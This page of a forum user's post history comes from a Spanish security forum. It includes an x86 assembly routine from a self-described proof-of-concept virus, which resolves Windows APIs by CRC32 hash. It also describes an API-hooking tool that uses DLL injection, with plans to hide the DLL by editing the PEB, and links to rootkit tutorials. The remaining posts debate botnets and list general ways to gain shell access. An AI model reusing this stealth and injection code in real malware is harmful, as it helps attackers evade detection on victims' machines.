|
Mostrar Mensajes
|
Páginas: 1 [2] 3
|
11
|
Seguridad Informática / Análisis y Diseño de Malware / Re: El programa rompe al llegar a LoadLibrary
|
en: 14 Marzo 2012, 01:58 am
|
OK, acabo de solucionarlo: -> Por un lado, debe de haber algun bug/incompatibilidad con el Stealth64 del OllyDbg en Win7, ya que el Olly del XP no tenía plugins y iba, y al desactivarlo también va en Win7 -> Por el otro, había un pequeño bug en otra parte de mi código que no preservaba el antiguo EDI, y entonces FindNextFileA lo usaba después de haber sido liberado (y por eso tampoco iba fuera del Olly) (en XP SEH me salvaba) XD En fín, muchas gracias de todas formas. PD: por cierto, si quereis hacer uso del código o teneis alguna pregunta, no dudeis en postear (pa eso estamos,no?) 
|
|
|
12
|
Seguridad Informática / Análisis y Diseño de Malware / El programa rompe al llegar a LoadLibrary
|
en: 14 Marzo 2012, 01:05 am
|
Hola a todos, estoy haciendo un pequeño virus (sin ánimo de soltarlo, claro, solo como POC) y tras mucho debuggear con el Olly resulta que me lanza una ACCESS_VIOLATION tras llamar a LoadLibraryA en una función que realiza el mismo trabajo que GetProcAddress pero pasándole en su lugar un CRC32, alguien puede ayudarme? Las pruebas las he hecho en un Win 7 x64. Aquí adjunto el código de la función: @@get_proc: ; [OnEntry] ; edx => crc32 ; ebx => hModule ; [OnExit] ; eax => lpfnApi / NULL (OnError) assume ebx:ptr IMAGE_DOS_HEADER push edi push esi push ebp mov edi,ebx add edi,[ebx].e_lfanew assume edi:ptr IMAGE_NT_HEADERS mov edi,[edi].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress add edi,ebx assume edi:ptr IMAGE_EXPORT_DIRECTORY xor ecx,ecx mov esi,[edi].AddressOfNames add esi,ebx mov ebp,[edi].NumberOfNames @@apiname_loop: lodsd add eax,ebx xchg eax,esi push eax ; save AddressOfNames push ecx call @@strlen xchg eax,ecx push edx call @@crc32 pop edx pop ecx pop esi cmp eax,edx jnz @@not_api_hash mov esi,[edi].AddressOfNameOrdinals add esi,ebx shl ecx,1h add esi,ecx movzx ecx,word ptr [esi] shl ecx,2h mov esi,[edi].AddressOfFunctions add esi,ebx add esi,ecx mov eax,dword ptr [esi] ; code here to check whether we are being forwarded (does the RVA fall into the .edata?) mov ebp,ebx add ebp,[ebx].e_lfanew assume ebp:ptr IMAGE_NT_HEADERS mov ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ; thanks to Matt Pietrek cmp eax,ecx jb @@not_forwarded add ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].isize cmp eax,ecx ja @@not_forwarded @@get_forwarded: pop ebp add eax,ebx xchg esi,eax call @@strlen push ecx push GMEM_FIXED call dword ptr [ebp + delta(f_globalalloc)] xchg eax,edi push edi ; there could be a bug: if someone makes a fwd api without a dot, the host will crash @@: lodsb stosb cmp al,'.' jne @@not_dot mov eax,'lld' stosd jmp @@match_dot @@not_dot: loop @B @@match_dot: call dword ptr [ebp + delta(f_loadlibrary)] ; I know the program won't be able to free the library (i don't know yet how ms loader does it) push esi push eax call dword ptr [ebp + delta(f_getprocaddress)] push eax push edi call dword ptr [ebp + delta(f_globalfree)] pop eax jmp @@fwd_api_found @@not_forwarded: add eax,ebx jmp @@api_found @@not_api_hash: inc ecx cmp ecx,ebp ; I need ecx as a counter jbe @@apiname_loop @@not_found: xor eax,eax @@api_found: pop ebp @@fwd_api_found: pop esi pop edi ret
@@strlen: ; [OnEntry] ; esi => [StringA] ; [OnExit] ; eax => Length xchg esi,edi xor eax,eax xor ecx,ecx dec ecx push edi repnz scasb pop edi inc ecx not ecx xchg eax,ecx xchg esi,edi ret
.const POLYNOM equ 0edb88320h .code @@crc32: ; [OnEntry] ; esi => [Mem] ; ecx => count ; [OnExit] ; eax => crc32 xor edx,edx dec edx @@crc_loop: mov eax,edx and eax,0ffh xor al,byte ptr [esi] push ecx mov ecx,8h @@: test al,1h jz @@bit_not_set shr eax,1h xor eax,POLYNOM jmp @@bit_continue @@bit_not_set: shr eax,1h @@bit_continue: loop @B pop ecx inc esi shr edx,8h xor edx,eax loop @@crc_loop xchg eax,edx not eax ret
Tras tracear un poco veo que las llamadas van así: - LoadLibraryA -> LoadLibraryExA -> KernelBase.749B6DEF -> ntdll.RtlAnsiStringToUnicodeString -> ...  Les agradezco cualquier ayuda/opinión/orientación sobre el tema PD: Acabo de comprobar que en XP funciona perfectamente, puede ser por algo relacionado con WOW32? O tal vez es por Win7? Ah, y perdon por un tema/post tan largo, es que no quiero que falte nada de info
|
|
|
13
|
Seguridad Informática / Hacking / Re: Acceso sheel W7
|
en: 14 Febrero 2012, 23:57 pm
|
Hola. En primer lugar, puede que yo no sea la persona más apropiada para responderte, pero creo que puedo encaminarte un poco: 1º Que seas "estudiante de modulo superior de administracion de sistemas" está muy bien, dice mucho de ti y tal, pero lammers los hay en todos los sitios 2º Para conseguir acceso _shell_, existen muchos métodos: - Ingenieria social - Exploits - Errores WEB - Fallas de configuración (compartición de archivos, permisos,...) - Passwords y fuerza bruta - Acceso físico (bueno, supongo que ese no tendría mucho mérito) - etc,... 3º En esto no hay una metodologia concreta... si es eso lo que buscas puede que esto te sirva: -> http://isecom.securenetltd.com/OSSTMM.es.2.1.pdf-> https://www.owasp.org/images/8/80/Guía_de_pruebas_de_OWASP_ver_3.0.pdf4º Para hacer pruebas, te recomiendo que te instales en virtual (VMWare,...) http://www.damnvulnerablelinux.org/ (ahora esta remodelandose, busca en redes p2p), para practicar exploits contra windows cualquier version te vale... es broma, prueba uno con win XP y bajate aplicaciones vulnerables (mira en http://www.corelan.be/)Bueno, espero haberte ayudado un poco
|
|
|
14
|
Seguridad Informática / Hacking / Win32 API Hooking
|
en: 9 Febrero 2012, 23:54 pm
|
Hola a todos. Bueno, hace mucho que no me pasaba por el foro y puesto que la última vez que lo hice solo provoque una extraña guerra relacionada con las BotNet's (BOTNETS sí, BOTNETS no)  he decidido compensar eso. Bueno, aqui os traigo una implementacion MUY sencilla del tema del API hooking en Win32 (por lo que he leído, es parecida a la librería Detours de MS), pero esta bajo licencia GPL XD Utiliza la técnica de la inyeccion DLL (en realidad la DLL debe inyectarse en el proceso que convenga) e inserta un FAR JMP al inicio de la API, por lo que afecta tambien a todo aquel proceso que se intente pasar de listo y llame a la API mediante GetProcAddress (al contrario que con la técnica del IAT). Por el momento es facilmente detectable, pero tengo pensado: --> Mejorar la forma en que se inyecta la DLL con GetThreadContext() y SetThreadContext() (en lugar de CreateRemoteThread()) --> Ocultar la DLL desde DllMain() modificando la PEB --> Lo que se os ocurra XD Código fuente: http://dl.dropbox.com/u/47594913/HookThemAll.rarComo crear un rootkit by e0n: http://foro.elhacker.net/analisis_y_diseno_de_malware/querias_tutos_de_programacion_de_malware_pues_toma-t196251.0.htmlHooking HowTo: http://vx.netlux.org/29a/29a-7/Articles/29A-7.019Nota: no sabía si ponerlo aqui, en el subforo de programacion en C, el de malware,... Nota2: Acabo de leer la técnica VEH... brillante, aunque como todo, igualmente detectable (mediante VirtualQueryEx), menos conocida pero genial
|
|
|
16
|
Seguridad Informática / Hacking / ¿Aun os interesa?
|
en: 3 Diciembre 2010, 00:06 am
|
Miren, no sé si les interesa ya porque les veo enzarzados en una cruenta batalla  Bueno, por si acaso, (porque lo que importa es eso, la información), les puedo decir que en la misma web de oxid.it (donde se bajaron el Cain) hay disponibles una serie de tools interesantes: en concreto, sTerm permite establecer una sesión Telnet con IP Spooffeada en una LAN gracias al ARP (ambos conceptos van muy relacionados) P.D: Les tengo que reconocer que no he leído el tema entero. ¿Que debería darme vergüenza contestar en un foro sin haberlo leído antes? La culpa es de quienes se dedican a llenar estos temas de posts simplemente ofensivos que no aportan nada (y ya es la segunda vez que me pasa)
|
|
|
17
|
Seguridad Informática / Hacking / Re: Creación de pc's zombies: botnets
|
en: 26 Octubre 2010, 00:16 am
|
sobrino usted esta mal eh ... pero si usted quiere hacer una botnet pues aprenda a programar usted mismo y no venga aca a que de verguenza ... no por el hecho de hacer una botnet sino por que esta diciendo cosas como que si alguien salio en noticias i se mato usted se mata tambien ... ???? men esta mal eh .. le recomiendo que aprenda a programar en c y c++ suerte.
Sin comentarios. No me gusta la gente que solo se dedica a repetir los que otros dicen; denota FALTA DE PERSONALIDAD.
|
|
|
18
|
Seguridad Informática / Hacking / Re: Creación de pc's zombies: botnets
|
en: 2 Agosto 2010, 18:51 pm
|
Vaya, veo que el temita ultimamente ha dado muxo de sí. Veamos, creo q este tema se llama "Creacion de pc's zombies: botnets" y no "Botnets si o Botnets no: el debate esta en la calle". Para empezar creo que nadie deberia intentar imponer sus creencias y su forma de actuar, y en caso de q alguien lo hiciera, hitler empezo asi (cuanto tiempo llevaba hitler sin salir por aki XD ). Si alguien no esta de acuerdo con este tema, q simplemente no intervenga. Para los demas, creo q seria justo q pudieran compartir sus conocimientos sin ningun tipo de represion.
Nota: Prometo que este sera el ultimo comentario que no tenga q ver estrictamente con el tema
|
|
|
19
|
Seguridad Informática / Hacking / Re: Creación de pc's zombies: botnets
|
en: 7 Julio 2010, 03:43 am
|
Soy especialista en programacion de malware y para mi botnet = "script-kiddies"... por eso el tema causa controversia, porque es algo que no deberia de existir. No encuentro la forma en la que alguien se siente que esta haciendo un logro al infectar otro equipo y hacer que un tercero pierda datos, eso aun no me cabe en la cabeza.
En ningún momento fue ese mi objetivo. Entonces explicaste muy mal en la manera que hablabas al principio porque note que venias a pedir un programa o acceso a una botnet... incluso llamast juanker a los kickies que hicieron la botnet que quitaron con la operacion esa de nombre gay Puede ser. No me paré a reflexionar pero no creo que la manera de algunos de decirlo haya sido la correcta. Gracias, todos tenemos que aprender de nuestros errores
|
|
|
20
|
Seguridad Informática / Hacking / Re: Creación de pc's zombies: botnets
|
en: 7 Julio 2010, 03:25 am
|
Soy especialista en programacion de malware y para mi botnet = "script-kiddies"... por eso el tema causa controversia, porque es algo que no deberia de existir. No encuentro la forma en la que alguien se siente que esta haciendo un logro al infectar otro equipo y hacer que un tercero pierda datos, eso aun no me cabe en la cabeza.
En ningún momento fue ese mi objetivo.
|
|
|
|
|
|
|